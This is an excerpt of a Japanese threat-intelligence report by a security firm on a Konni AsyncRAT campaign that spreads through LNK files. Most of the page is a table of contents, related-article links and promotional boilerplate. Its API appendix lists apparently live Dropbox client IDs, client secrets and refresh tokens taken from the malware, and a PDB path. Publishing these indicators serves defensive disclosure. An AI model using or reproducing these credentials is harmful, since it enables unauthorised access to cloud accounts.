refresh_token = "1//040Z2ylrAaX67CgYIARAAGAQSNwF-L9IrH8y9nHxEuWMZvRIBvyzBU9zgOt6_9wDyWQHuIrCVnQ6Q6tQRVlePMMIv8kBbJmGgKT8"

Dropbox API Info

9c9df2d90602c915005811aabf444653f55024080c61845029f75da758b27320

client_id = "rkfgrqiifa9beee"
client_secret = "pjp6pughak8d9nz"
refresh_token = "SQGsDREFWgEAAAAAAAAAAdAW0WV_R9VVazcl1NsghvajD5Rp1L9L5JS1zdLmQgvN”

client_id = "rkfgrqiifa9beee"
client_secret = "pjp6pughak8d9nz"
refresh_token = "SQGsDREFWgEAAAAAAAAAAdAW0WV_R9VVazcl1NsghvajD5Rp1L9L5JS1zdLmQgvN”

client_id = "rkfgrqiifa9beee"
client_secret = "pjp6pughak8d9nz"
refresh_token = "SQGsDREFWgEAAAAAAAAAAdAW0WV_R9VVazcl1NsghvajD5Rp1L9L5JS1zdLmQgvN”

aacb5aca178f6444a82bca1febb282a2859c5a43208ad1cdd39977dc3521f0f6

client_id = "gk6njum1ymlfvze"
client_secret = "d4vujs98alj4qmj"
refresh_token = "Vyf2gOjGyOkAAAAAAAAAAfwastEuMQMDsQmBhvmW7Hb9jvPYyB_0kVeD1Xkk6ANg”

client_id = "gk6njum1ymlfvze"
client_secret = "d4vujs98alj4qmj"
refresh_token = "Vyf2gOjGyOkAAAAAAAAAAfwastEuMQMDsQmBhvmW7Hb9jvPYyB_0kVeD1Xkk6ANg”

client_id = "gk6njum1ymlfvze"
client_secret = "d4vujs98alj4qmj"
refresh_token = "Vyf2gOjGyOkAAAAAAAAAAfwastEuMQMDsQmBhvmW7Hb9jvPYyB_0kVeD1Xkk6ANg”

付録 D. PDB Info

E:\_Backup\RAT_work\AsyncRat_0930\rat_Client\rat_pro\obj\Debug\Lv_0206.pdb

7. 備考

エンキホワイトハット

ENKI ホワイトハット

オフェンシブセキュリティの専門企業として、攻撃者の視点から次元の異なるセキュリティを提示します。

동북아시아를 노리는 Kimsuky의 원격 제어 도구 악용 공격 분석

동북아시아를 노리는 Kimsuky의 정상 원격 제어 도구 악용 공격 분석 국문 썸네일

동북아시아를 노리는 Kimsuky의 원격 제어 도구 악용 공격 분석

脅威インテリジェンス

동북아시아를 노리는 Kimsuky의 원격 제어 도구 악용 공격 분석

자동화가 빨라질수록, 사람의 판단이 더 중요한 이유... 가트너가 그린 ‘침투테스트의 미래’

セキュリティインサイト

자동화가 빨라질수록, 사람의 판단이 더 중요한 이유... 가트너가 그린 ‘침투테스트의 미래’

脅威研究チームからの勧告

脅威インテリジェンス

脅威研究チームからの勧告

リストに戻る

脅威インテリジェンス

동북아시아를 노리는 Kimsuky의 원격 제어 도구 악용 공격 분석

엔키화이트햇

2026/08/20

脅威インテリジェンス

동북아시아를 노리는 Kimsuky의 원격 제어 도구 악용 공격 분석

엔키화이트햇

2026/08/20

脅威インテリジェンス

脅威研究チームからの勧告

エンキホワイトハット

2026/07/30

脅威インテリジェンス

脅威研究チームからの勧告

エンキホワイトハット

2026/07/30

脅威インテリジェンス

新型Gomir Familyを利用したKimsukyによる国内グループウェア開発企業への攻撃分析

エンキホワイトハット

2026/07/20

脅威インテリジェンス

新型Gomir Familyを利用したKimsukyによる国内グループウェア開発企業への攻撃分析

エンキホワイトハット

2026/07/20

隙のないセキュリティ設計の始まり、NO.1ホワイトハッカーのノウハウから

インシデント発生前、
今すぐ備えましょう

お問い合わせ

隙のないセキュリティ設計の始まり、
No.1ホワイトハッカーのノウハウから

インシデント発生前、
今すぐ備えましょう

お問い合わせ

隙のないセキュリティ設計の始まり、
No.1ホワイトハッカーのノウハウから

インシデント発生前、
今すぐ備えましょう

お問い合わせ

購読する

コンテンツが役に立ったら？
エンキーレターを購読しましょう！

Konniの最新AsyncRAT攻撃：LNKファイルを活用した感染手法

Konniの最新AsyncRAT攻撃：LNKファイルを活用した感染手法

Konniの最新AsyncRAT攻撃：LNKファイルを活用した感染手法

概要

1. 概要

2. マルウェア解析

2.1 概要図

2.2. 20250211_03837.docx.lnk

2.3. d.ps1

2.4. 83972.tmp

2.5. G3892.tmp

2.6. tmps4.ps1

2.7. AsyncRAT

3. 追加マルウェアの確保および分析

3.1. Konni の関連性分析

3.2. LNK メタデータを利用した追加不正プログラムの確保

3.3. 確保した不正プログラムの分析を通じた C&C インフラの関連性の確認

3.4. C&C サーバーに関連するフィッシングメール

3.5. 追加の不正プログラム拡散の状況

4. 対応策

4.1. ファイルタイプの確認

4.2. 出元が不明な 電子メールへの注意

5. おわりに

6. 付録

付録 A. MITRE ATT&CK

付録 B. IOC

付録 C. API Info

付録 D. PDB Info

7. 備考

エンキホワイトハット

エンキホワイトハット

동북아시아를 노리는 Kimsuky의 원격 제어 도구 악용 공격 분석

동북아시아를 노리는 Kimsuky의 원격 제어 도구 악용 공격 분석

동북아시아를 노리는 Kimsuky의 원격 제어 도구 악용 공격 분석

자동화가 빨라질수록, 사람의 판단이 더 중요한 이유... 가트너가 그린 ‘침투테스트의 미래’

자동화가 빨라질수록, 사람의 판단이 더 중요한 이유... 가트너가 그린 ‘침투테스트의 미래’

자동화가 빨라질수록, 사람의 판단이 더 중요한 이유... 가트너가 그린 ‘침투테스트의 미래’

脅威研究チームからの勧告

脅威研究チームからの勧告

脅威研究チームからの勧告

関連記事

동북아시아를 노리는 Kimsuky의 원격 제어 도구 악용 공격 분석

동북아시아를 노리는 Kimsuky의 원격 제어 도구 악용 공격 분석

脅威研究チームからの勧告

脅威研究チームからの勧告

新型Gomir Familyを利用したKimsukyによる国内グループウェア開発企業への攻撃分析

新型Gomir Familyを利用したKimsukyによる国内グループウェア開発企業への攻撃分析

インシデント発生前、今すぐ備えましょう

インシデント発生前、今すぐ備えましょう

インシデント発生前、今すぐ備えましょう

4.2. 出元が不明な電子メールへの注意

インシデント発生前、
今すぐ備えましょう

インシデント発生前、
今すぐ備えましょう

インシデント発生前、
今すぐ備えましょう